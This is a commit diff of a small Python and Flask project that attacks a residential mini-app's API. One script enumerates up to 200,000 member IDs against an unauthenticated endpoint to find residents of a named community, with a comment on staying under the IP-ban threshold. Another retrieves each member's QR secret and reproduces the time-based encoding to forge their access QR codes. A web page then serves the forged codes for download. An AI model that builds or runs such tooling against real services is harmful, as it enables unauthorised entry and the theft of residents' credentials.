return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o;
|
||||||
|
})(o);
|
||||||
|
}
|
||||||
|
|
||||||
|
function _typeof(o) {
|
||||||
|
return "function" == typeof Symbol && "symbol" === _typeof2(Symbol.iterator) ? module.exports = _typeof = function (o) {
|
||||||
|
return _typeof2(o);
|
||||||
|
} : module.exports = _typeof = function (o) {
|
||||||
|
return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : _typeof2(o);
|
||||||
|
}, _typeof(o);
|
||||||
|
}
|
||||||
|
|
||||||
|
module.exports = _typeof;
|
||||||
10
js/@babel/runtime/helpers/unsupportedIterableToArray.js
Normal file
10
js/@babel/runtime/helpers/unsupportedIterableToArray.js
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
var arrayLikeToArray = require("./arrayLikeToArray");
|
||||||
|
|
||||||
|
function _unsupportedIterableToArray(r, e) {
|
||||||
|
if (r) {
|
||||||
|
if ("string" == typeof r) return arrayLikeToArray(r, e);
|
||||||
|
var t = Object.prototype.toString.call(r).slice(8, -1);
|
||||||
|
return "Object" === t && r.constructor && (t = r.constructor.name), "Map" === t || "Set" === t ? Array.from(r) : "Arguments" === t || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(t) ? arrayLikeToArray(r, e) : void 0
|
||||||
|
}
|
||||||
|
}
|
||||||
|
module.exports = _unsupportedIterableToArray;
|
||||||
186
miniapp_qr_poc.py
Normal file
186
miniapp_qr_poc.py
Normal file
@@ -0,0 +1,186 @@
|
|||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import subprocess
|
||||||
|
import urllib.request
|
||||||
|
from datetime import datetime
|
||||||
|
from pathlib import Path
|
||||||
|
from zoneinfo import ZoneInfo
|
||||||
|
|
||||||
|
API_URL = "https://jsh.szsentry.com/api//mine/one_see_secret_word"
|
||||||
|
BASE_DIR = Path(__file__).resolve().parent
|
||||||
|
HELPER_JS = BASE_DIR / "js" / "21D38FE5F73FD4DF47B5E7E2FB120D83.js"
|
||||||
|
QR_JS = BASE_DIR / "js" / "0C723952F73FD4DF6A145155C4220D83.js"
|
||||||
|
FOUND_IDS_FILE = BASE_DIR / "found_ids.txt"
|
||||||
|
FOUND_ID_PATTERN = re.compile(r"ID:\s*(\d+)\s*\|\s*Village:\s*(.+)")
|
||||||
|
DEFAULT_TIMEZONE = ZoneInfo(os.getenv("MINIAPP_QR_TIMEZONE", "Asia/Shanghai"))
|
||||||
|
|
||||||
|
|
||||||
|
def fetch(member_id: int):
|
||||||
|
body = json.dumps({"member_id": member_id}).encode()
|
||||||
|
req = urllib.request.Request(
|
||||||
|
API_URL,
|
||||||
|
data=body,
|
||||||
|
headers={"Content-Type": "application/json"},
|
||||||
|
method="POST",
|
||||||
|
)
|
||||||
|
with urllib.request.urlopen(req, timeout=20) as resp:
|
||||||
|
return json.loads(resp.read().decode("utf-8"))
|
||||||
|
|
||||||
|
|
||||||
|
def get_command(qr_hex: str, dt: datetime | None = None) -> bytes:
|
||||||
|
if dt is None:
|
||||||
|
dt = datetime.now(DEFAULT_TIMEZONE)
|
||||||
|
elif dt.tzinfo is None:
|
||||||
|
dt = dt.replace(tzinfo=DEFAULT_TIMEZONE)
|
||||||
|
else:
|
||||||
|
dt = dt.astimezone(DEFAULT_TIMEZONE)
|
||||||
|
c = [
|
||||||
|
f"{dt.year % 100:02d}",
|
||||||
|
f"{dt.month:02d}",
|
||||||
|
f"{dt.day:02d}",
|
||||||
|
f"{dt.hour:02d}",
|
||||||
|
f"{dt.minute:02d}",
|
||||||
|
f"{dt.second:02d}",
|
||||||
|
]
|
||||||
|
m = [int(x, 16) for x in c]
|
||||||
|
s = m[0] ^ m[2]
|
||||||
|
s = (((s + m[4]) ^ m[1]) + m[3]) ^ m[5]
|
||||||
|
s &= 0xFF
|
||||||
|
|
||||||
|
pairs = re.findall(r"[0-9A-Fa-f]{2}", qr_hex)
|
||||||
|
g = [f"{(int(x, 16) ^ s):02X}" for x in pairs]
|
||||||
|
f = ("".join(c) + "".join(g)).upper()
|
||||||
|
d = [ord(ch) for ch in f]
|
||||||
|
h = [0x03] + d + [0x04]
|
||||||
|
chk = 0
|
||||||
|
for x in h:
|
||||||
|
chk ^= x
|
||||||
|
chk_hex = f"{chk:02X}"
|
||||||
|
h.extend(ord(ch) for ch in chk_hex)
|
||||||
|
h.append(0x0D)
|
||||||
|
return bytes(h)
|
||||||
|
|
||||||
|
|
||||||
|
def render_with_bundled_js(qr_hex: str) -> str:
|
||||||
|
js = f'''
|
||||||
|
const helper = require({json.dumps(str(HELPER_JS))});
|
||||||
|
const qr = require({json.dumps(str(QR_JS))});
|
||||||
|
const out = qr.QR(helper.getCommand({json.dumps(qr_hex)}).toString());
|
||||||
|
console.log(out);
|
||||||
|
'''
|
||||||
|
cp = subprocess.run(["node", "-e", js], capture_output=True, text=True)
|
||||||
|
if cp.returncode != 0:
|
||||||
|
raise RuntimeError(f"node failed\nstdout:\n{cp.stdout}\nstderr:\n{cp.stderr}")
|
||||||
|
return cp.stdout.strip()
|
||||||
|
|
||||||
|
|
||||||
|
def save_data_url(data_url: str, out_path: str):
|
||||||
|
m = re.match(r"data:.*?;base64,(.*)", data_url)
|
||||||
|
if not m:
|
||||||
|
raise ValueError("unexpected data URL")
|
||||||
|
raw = base64.b64decode(m.group(1))
|
||||||
|
with open(out_path, "wb") as f:
|
||||||
|
f.write(raw)
|
||||||
|
|
||||||
|
|
||||||
|
def load_found_ids(path: str | Path = FOUND_IDS_FILE) -> list[dict]:
|
||||||
|
path = Path(path)
|
||||||
|
items = []
|
||||||
|
seen = set()
|
||||||
|
if not path.exists():
|
||||||
|
return items
|
||||||
|
|
||||||
|
with path.open("r", encoding="utf-8") as f:
|
||||||
|
for line in f:
|
||||||
|
line = line.strip()
|
||||||
|
if not line:
|
||||||
|
continue
|
||||||
|
m = FOUND_ID_PATTERN.match(line)
|
||||||
|
if not m:
|
||||||
|
continue
|
||||||
|
member_id = int(m.group(1))
|
||||||
|
if member_id in seen:
|
||||||
|
continue
|
||||||
|
seen.add(member_id)
|
||||||
|
village_name = m.group(2).strip()
|
||||||
|
items.append(
|
||||||
|
{
|
||||||
|
"member_id": member_id,
|
||||||
|
"village_name": village_name,
|
||||||
|
"label": f"{member_id} | {village_name}",
|
||||||
|
}
|
||||||
|
)
|
||||||
|
return items
|
||||||
|
|
||||||
|
|
||||||
|
def summarize_response(resp: dict) -> dict:
|
||||||
|
data = resp.get("data") or {}
|
||||||
|
return {
|
||||||
|
"status": resp.get("status"),
|
||||||
|
"msg": resp.get("msg"),
|
||||||
|
"member_id": data.get("member_id"),
|
||||||
|
"village_name": data.get("village_name"),
|
||||||
|
"uuid": data.get("uuid"),
|
||||||
|
"qr_prefix": str(data.get("qr", ""))[:40],
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def generate_member_qr(member_id: int, include_data_url: bool = False) -> dict:
|
||||||
|
resp = fetch(member_id)
|
||||||
|
data = resp.get("data") or {}
|
||||||
|
qr_hex = data.get("qr")
|
||||||
|
if not qr_hex:
|
||||||
|
raise ValueError(f"member_id={member_id} did not return qr data")
|
||||||
|
|
||||||
|
payload = get_command(qr_hex)
|
||||||
|
result = summarize_response(resp)
|
||||||
|
result.update(
|
||||||
|
{
|
||||||
|
"qr_hex": qr_hex,
|
||||||
|
"payload_len": len(payload),
|
||||||
|
"payload_hex_prefix": payload.hex()[:160],
|
||||||
|
}
|
||||||
|
)
|
||||||
|
if include_data_url:
|
||||||
|
result["data_url"] = render_with_bundled_js(qr_hex)
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
ap = argparse.ArgumentParser()
|
||||||
|
ap.add_argument("--member-id", type=int)
|
||||||
|
ap.add_argument("--qr")
|
||||||
|
ap.add_argument("--json-out")
|
||||||
|
ap.add_argument("--gif-out")
|
||||||
|
args = ap.parse_args()
|
||||||
|
|
||||||
|
resp = None
|
||||||
|
qr_hex = args.qr
|
||||||
|
if args.member_id is not None:
|
||||||
|
resp = fetch(args.member_id)
|
||||||
|
if args.json_out:
|
||||||
|
with open(args.json_out, "w", encoding="utf-8") as f:
|
||||||
|
json.dump(resp, f, ensure_ascii=False, indent=2)
|
||||||
|
qr_hex = resp["data"]["qr"]
|
||||||
|
|
||||||
|
if not qr_hex:
|
||||||
|
raise SystemExit("provide --member-id or --qr")
|
||||||
|
|
||||||
|
payload = get_command(qr_hex)
|
||||||
|
print("payload_len=", len(payload))
|
||||||
|
print("payload_hex_prefix=", payload.hex()[:160])
|
||||||
|
|
||||||
|
if args.gif_out:
|
||||||
|
data_url = render_with_bundled_js(qr_hex)
|
||||||
|
save_data_url(data_url, args.gif_out)
|
||||||
|
print("saved", args.gif_out)
|
||||||
|
|
||||||
|
if resp:
|
||||||
|
print(json.dumps(summarize_response(resp), ensure_ascii=False, indent=2))
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
1
requirements.txt
Normal file
1
requirements.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
Flask>=3.0,<4.0
|
||||||
65
scan_village.py
Normal file
65
scan_village.py
Normal file
@@ -0,0 +1,65 @@
|
|||||||
|
import json
|
||||||
|
import urllib.request
|
||||||
|
import concurrent.futures
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
# 配置参数
|
||||||
|
API_URL = "https://jsh.szsentry.com/api//mine/one_see_secret_word"
|
||||||
|
TARGET_VILLAGE = "兆景华庭青年社区"
|
||||||
|
RANGE_START = 1
|
||||||
|
RANGE_END = 200000
|
||||||
|
MAX_THREADS = 15 # 线程数,建议不要开太大以免被封 IP
|
||||||
|
OUTPUT_FILE = "found_ids.txt"
|
||||||
|
|
||||||
|
def check_id(member_id):
|
||||||
|
"""请求单个 ID 并检查社区名称"""
|
||||||
|
body = json.dumps({"member_id": member_id}).encode()
|
||||||
|
req = urllib.request.Request(
|
||||||
|
API_URL,
|
||||||
|
data=body,
|
||||||
|
headers={"Content-Type": "application/json"},
|
||||||
|
method="POST",
|
||||||
|
)
|
||||||
|
|
||||||
|
try:
|
||||||
|
with urllib.request.urlopen(req, timeout=5) as resp:
|
||||||
|
data = json.loads(resp.read().decode("utf-8"))
|
||||||
|
if data.get("status") == 200:
|
||||||
|
village = data.get("data", {}).get("village_name")
|
||||||
|
if village == TARGET_VILLAGE:
|
||||||
|
return member_id, village
|
||||||
|
except Exception:
|
||||||
|
# 忽略超时、网络错误或 404 等
|
||||||
|
pass
|
||||||
|
return None
|
||||||
|
|
||||||
|
def main():
|
||||||
|
print(f"开始扫描 ID {RANGE_START} 到 {RANGE_END}...")
|
||||||
|
print(f"目标社区: {TARGET_VILLAGE}")
|
||||||
|
|
||||||
|
found_count = 0
|
||||||
|
|
||||||
|
# 使用线程池加速
|
||||||
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
|
||||||
|
# 提交任务
|
||||||
|
future_to_id = {executor.submit(check_id, i): i for i in range(RANGE_START, RANGE_END + 1)}
|
||||||
|
|
||||||
|
with open(OUTPUT_FILE, "a", encoding="utf-8") as f:
|
||||||
|
for i, future in enumerate(concurrent.futures.as_completed(future_to_id)):
|
||||||
|
result = future.result()
|
||||||
|
if result:
|
||||||
|
mid, vname = result
|
||||||
|
found_count += 1
|
||||||
|
output_str = f"ID: {mid} | Village: {vname}\n"
|
||||||
|
print(f"\n[!] 发现匹配: {output_str.strip()}")
|
||||||
|
f.write(output_str)
|
||||||
|
f.flush() # 确保实时写入硬盘
|
||||||
|
|
||||||
|
# 每 100 个打印一次进度
|
||||||
|
if i % 100 == 0:
|
||||||
|
print(f"\r当前进度: {i}/{RANGE_END - RANGE_START + 1}", end="")
|
||||||
|
|
||||||
|
print(f"\n扫描完成!共发现 {found_count} 个匹配项,结果已保存至 {OUTPUT_FILE}")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
134
static/app.js
Normal file
134
static/app.js
Normal file
@@ -0,0 +1,134 @@
|
|||||||
|
const searchInput = document.getElementById("searchInput");
|
||||||
|
const memberSelect = document.getElementById("memberSelect");
|
||||||
|
const generateBtn = document.getElementById("generateBtn");
|
||||||
|
const statusText = document.getElementById("statusText");
|
||||||
|
const resultCard = document.getElementById("resultCard");
|
||||||
|
const qrImage = document.getElementById("qrImage");
|
||||||
|
const downloadLink = document.getElementById("downloadLink");
|
||||||
|
const rawJson = document.getElementById("rawJson");
|
||||||
|
|
||||||
|
const metaMemberId = document.getElementById("metaMemberId");
|
||||||
|
const metaVillage = document.getElementById("metaVillage");
|
||||||
|
const metaUuid = document.getElementById("metaUuid");
|
||||||
|
const metaStatus = document.getElementById("metaStatus");
|
||||||
|
const metaMsg = document.getElementById("metaMsg");
|
||||||
|
const metaQrPrefix = document.getElementById("metaQrPrefix");
|
||||||
|
const metaPayloadLen = document.getElementById("metaPayloadLen");
|
||||||
|
const metaPayloadPrefix = document.getElementById("metaPayloadPrefix");
|
||||||
|
|
||||||
|
let allItems = [];
|
||||||
|
|
||||||
|
function setStatus(message, isError = false) {
|
||||||
|
statusText.textContent = message;
|
||||||
|
statusText.classList.toggle("error", isError);
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderOptions(items) {
|
||||||
|
memberSelect.innerHTML = "";
|
||||||
|
|
||||||
|
if (!items.length) {
|
||||||
|
const option = document.createElement("option");
|
||||||
|
option.value = "";
|
||||||
|
option.textContent = "没有可选 ID";
|
||||||
|
memberSelect.appendChild(option);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const item of items) {
|
||||||
|
const option = document.createElement("option");
|
||||||
|
option.value = String(item.member_id);
|
||||||
|
option.textContent = item.label;
|
||||||
|
memberSelect.appendChild(option);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!memberSelect.value) {
|
||||||
|
memberSelect.selectedIndex = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function filterItems() {
|
||||||
|
const keyword = searchInput.value.trim().toLowerCase();
|
||||||
|
if (!keyword) {
|
||||||
|
renderOptions(allItems);
|
||||||
|
setStatus(`已加载 ${allItems.length} 个 ID`);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const filtered = allItems.filter((item) => {
|
||||||
|
const idText = String(item.member_id);
|
||||||
|
const village = String(item.village_name || "").toLowerCase();
|
||||||
|
return idText.includes(keyword) || village.includes(keyword);
|
||||||
|
});
|
||||||
|
|
||||||
|
renderOptions(filtered);
|
||||||
|
setStatus(`筛选后剩余 ${filtered.length} 个 ID`);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function loadFoundIds() {
|
||||||
|
setStatus("正在加载 ID 列表...");
|
||||||
|
try {
|
||||||
|
const response = await fetch("/api/found-ids");
|
||||||
|
const data = await response.json();
|
||||||
|
if (!response.ok || !data.ok) {
|
||||||
|
throw new Error(data.error || "加载 ID 列表失败");
|
||||||
|
}
|
||||||
|
allItems = data.items || [];
|
||||||
|
renderOptions(allItems);
|
||||||
|
setStatus(`已加载 ${allItems.length} 个 ID`);
|
||||||
|
} catch (error) {
|
||||||
|
setStatus(error.message || "加载失败", true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function showResult(data) {
|
||||||
|
resultCard.classList.remove("hidden");
|
||||||
|
qrImage.src = data.data_url;
|
||||||
|
downloadLink.href = data.data_url;
|
||||||
|
downloadLink.download = `member_${data.member_id}.gif`;
|
||||||
|
metaMemberId.textContent = data.member_id ?? "-";
|
||||||
|
metaVillage.textContent = data.village_name ?? "-";
|
||||||
|
metaUuid.textContent = data.uuid ?? "-";
|
||||||
|
metaStatus.textContent = data.status ?? "-";
|
||||||
|
metaMsg.textContent = data.msg ?? "-";
|
||||||
|
metaQrPrefix.textContent = data.qr_prefix ?? "-";
|
||||||
|
metaPayloadLen.textContent = data.payload_len ?? "-";
|
||||||
|
metaPayloadPrefix.textContent = data.payload_hex_prefix ?? "-";
|
||||||
|
rawJson.textContent = JSON.stringify(data, null, 2);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function generateQr() {
|
||||||
|
const memberId = memberSelect.value;
|
||||||
|
if (!memberId) {
|
||||||
|
setStatus("请先选择一个 member_id", true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
generateBtn.disabled = true;
|
||||||
|
setStatus(`正在为 ${memberId} 生成二维码...`);
|
||||||
|
|
||||||
|
try {
|
||||||
|
const response = await fetch("/api/generate", {
|
||||||
|
method: "POST",
|
||||||
|
headers: {
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
},
|
||||||
|
body: JSON.stringify({ member_id: Number(memberId) }),
|
||||||
|
});
|
||||||
|
const data = await response.json();
|
||||||
|
if (!response.ok || !data.ok) {
|
||||||
|
throw new Error(data.error || "生成二维码失败");
|
||||||
|
}
|
||||||
|
showResult(data);
|
||||||
|
setStatus(`member_id=${memberId} 生成成功`);
|
||||||
|
} catch (error) {
|
||||||
|
setStatus(error.message || "生成失败", true);
|
||||||
|
} finally {
|
||||||
|
generateBtn.disabled = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
searchInput.addEventListener("input", filterItems);
|
||||||
|
generateBtn.addEventListener("click", generateQr);
|
||||||
|
memberSelect.addEventListener("dblclick", generateQr);
|
||||||
|
|
||||||
|
loadFoundIds();
|
||||||
161
static/styles.css
Normal file
161
static/styles.css
Normal file
@@ -0,0 +1,161 @@
|
|||||||
|
:root {
|
||||||
|
color-scheme: light dark;
|
||||||
|
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif;
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
margin: 0;
|
||||||
|
background: #0f172a;
|
||||||
|
color: #e2e8f0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.container {
|
||||||
|
max-width: 1080px;
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: 24px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.card {
|
||||||
|
background: #111827;
|
||||||
|
border: 1px solid #334155;
|
||||||
|
border-radius: 16px;
|
||||||
|
padding: 20px;
|
||||||
|
box-shadow: 0 20px 40px rgba(0, 0, 0, 0.25);
|
||||||
|
margin-bottom: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
h1, h2 {
|
||||||
|
margin-top: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.subtitle {
|
||||||
|
color: #94a3b8;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
label {
|
||||||
|
display: block;
|
||||||
|
margin: 12px 0 8px;
|
||||||
|
font-weight: 600;
|
||||||
|
}
|
||||||
|
|
||||||
|
input,
|
||||||
|
select,
|
||||||
|
button {
|
||||||
|
width: 100%;
|
||||||
|
box-sizing: border-box;
|
||||||
|
border-radius: 10px;
|
||||||
|
border: 1px solid #475569;
|
||||||
|
background: #0f172a;
|
||||||
|
color: #e2e8f0;
|
||||||
|
padding: 10px 12px;
|
||||||
|
font-size: 14px;
|
||||||
|
}
|
||||||
|
|
||||||
|
select {
|
||||||
|
min-height: 320px;
|
||||||
|
}
|
||||||
|
|
||||||
|
button {
|
||||||
|
cursor: pointer;
|
||||||
|
background: #2563eb;
|
||||||
|
border: none;
|
||||||
|
font-weight: 700;
|
||||||
|
}
|
||||||
|
|
||||||
|
button:disabled {
|
||||||
|
cursor: not-allowed;
|
||||||
|
opacity: 0.7;
|
||||||
|
}
|
||||||
|
|
||||||
|
.actions {
|
||||||
|
margin-top: 16px;
|
||||||
|
display: flex;
|
||||||
|
gap: 12px;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.actions button {
|
||||||
|
width: auto;
|
||||||
|
min-width: 160px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-text {
|
||||||
|
color: #93c5fd;
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-text.error {
|
||||||
|
color: #fca5a5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.hidden {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.result-layout {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: minmax(260px, 340px) 1fr;
|
||||||
|
gap: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.qr-panel {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.qr-panel img {
|
||||||
|
width: 100%;
|
||||||
|
background: #fff;
|
||||||
|
border-radius: 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.qr-panel a {
|
||||||
|
color: #93c5fd;
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.meta-list {
|
||||||
|
margin: 0 0 16px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.meta-list > div {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: 120px 1fr;
|
||||||
|
gap: 8px;
|
||||||
|
padding: 8px 0;
|
||||||
|
border-bottom: 1px solid #334155;
|
||||||
|
}
|
||||||
|
|
||||||
|
.meta-list dt {
|
||||||
|
color: #94a3b8;
|
||||||
|
}
|
||||||
|
|
||||||
|
.meta-list dd {
|
||||||
|
margin: 0;
|
||||||
|
word-break: break-all;
|
||||||
|
}
|
||||||
|
|
||||||
|
pre {
|
||||||
|
white-space: pre-wrap;
|
||||||
|
word-break: break-word;
|
||||||
|
background: #020617;
|
||||||
|
border-radius: 12px;
|
||||||
|
padding: 12px;
|
||||||
|
overflow-x: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 900px) {
|
||||||
|
.result-layout {
|
||||||
|
grid-template-columns: 1fr;
|
||||||
|
}
|
||||||
|
|
||||||
|
.actions {
|
||||||
|
flex-direction: column;
|
||||||
|
align-items: stretch;
|
||||||
|
}
|
||||||
|
|
||||||
|
.actions button {
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
}
|
||||||
59
templates/index.html
Normal file
59
templates/index.html
Normal file
@@ -0,0 +1,59 @@
|
|||||||
|
<!doctype html>
|
||||||
|
<html lang="zh-CN">
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
|
<title>MiniApp QR 页面</title>
|
||||||
|
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<main class="container">
|
||||||
|
<section class="card">
|
||||||
|
<h1>MiniApp QR 页面</h1>
|
||||||
|
<p class="subtitle">从 <code>found_ids.txt</code> 里选择一个 ID,然后请求服务端生成二维码。</p>
|
||||||
|
|
||||||
|
<label for="searchInput">筛选</label>
|
||||||
|
<input id="searchInput" type="text" placeholder="输入 ID 或小区名过滤">
|
||||||
|
|
||||||
|
<label for="memberSelect">member_id 列表</label>
|
||||||
|
<select id="memberSelect" size="14"></select>
|
||||||
|
|
||||||
|
<div class="actions">
|
||||||
|
<button id="generateBtn" type="button">生成二维码</button>
|
||||||
|
<span id="statusText" class="status-text">正在加载 ID 列表...</span>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section id="resultCard" class="card hidden">
|
||||||
|
<h2>生成结果</h2>
|
||||||
|
|
||||||
|
<div class="result-layout">
|
||||||
|
<div class="qr-panel">
|
||||||
|
<img id="qrImage" alt="二维码结果">
|
||||||
|
<a id="downloadLink" href="#" download>下载 GIF</a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="meta-panel">
|
||||||
|
<dl class="meta-list">
|
||||||
|
<div><dt>member_id</dt><dd id="metaMemberId">-</dd></div>
|
||||||
|
<div><dt>小区</dt><dd id="metaVillage">-</dd></div>
|
||||||
|
<div><dt>uuid</dt><dd id="metaUuid">-</dd></div>
|
||||||
|
<div><dt>状态</dt><dd id="metaStatus">-</dd></div>
|
||||||
|
<div><dt>消息</dt><dd id="metaMsg">-</dd></div>
|
||||||
|
<div><dt>qr 前缀</dt><dd id="metaQrPrefix">-</dd></div>
|
||||||
|
<div><dt>payload_len</dt><dd id="metaPayloadLen">-</dd></div>
|
||||||
|
<div><dt>payload 前缀</dt><dd id="metaPayloadPrefix">-</dd></div>
|
||||||
|
</dl>
|
||||||
|
|
||||||
|
<details>
|
||||||
|
<summary>原始响应</summary>
|
||||||
|
<pre id="rawJson"></pre>
|
||||||
|
</details>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
</main>
|
||||||
|
|
||||||
|
<script src="{{ url_for('static', filename='app.js') }}"></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
49
web_app.py
Normal file
49
web_app.py
Normal file
@@ -0,0 +1,49 @@
|
|||||||
|
import os
|
||||||
|
|
||||||
|
from flask import Flask, jsonify, render_template, request
|
||||||
|
|
||||||
|
from miniapp_qr_poc import generate_member_qr, load_found_ids
|
||||||
|
|
||||||
|
app = Flask(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
@app.get("/")
|
||||||
|
def index():
|
||||||
|
return render_template("index.html")
|
||||||
|
|
||||||
|
|
||||||
|
@app.get("/healthz")
|
||||||
|
def healthz():
|
||||||
|
return jsonify({"ok": True})
|
||||||
|
|
||||||
|
|
||||||
|
@app.get("/api/found-ids")
|
||||||
|
def api_found_ids():
|
||||||
|
items = load_found_ids()
|
||||||
|
return jsonify({"ok": True, "count": len(items), "items": items})
|
||||||
|
|
||||||
|
|
||||||
|
@app.post("/api/generate")
|
||||||
|
def api_generate():
|
||||||
|
payload = request.get_json(silent=True)
|
||||||
|
if payload is None:
|
||||||
|
payload = request.form
|
||||||
|
|
||||||
|
member_id = payload.get("member_id") if payload else None
|
||||||
|
if member_id is None or str(member_id).strip() == "":
|
||||||
|
return jsonify({"ok": False, "error": "missing member_id"}), 400
|
||||||
|
|
||||||
|
try:
|
||||||
|
result = generate_member_qr(int(member_id), include_data_url=True)
|
||||||
|
except ValueError as exc:
|
||||||
|
return jsonify({"ok": False, "error": str(exc)}), 400
|
||||||
|
except Exception as exc:
|
||||||
|
return jsonify({"ok": False, "error": str(exc)}), 500
|
||||||
|
|
||||||
|
return jsonify({"ok": True, **result})
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
host = os.getenv("HOST", "0.0.0.0")
|
||||||
|
port = int(os.getenv("PORT", "8000"))
|
||||||
|
app.run(host=host, port=port, debug=False)
|
||||||
Reference in New Issue
Block a user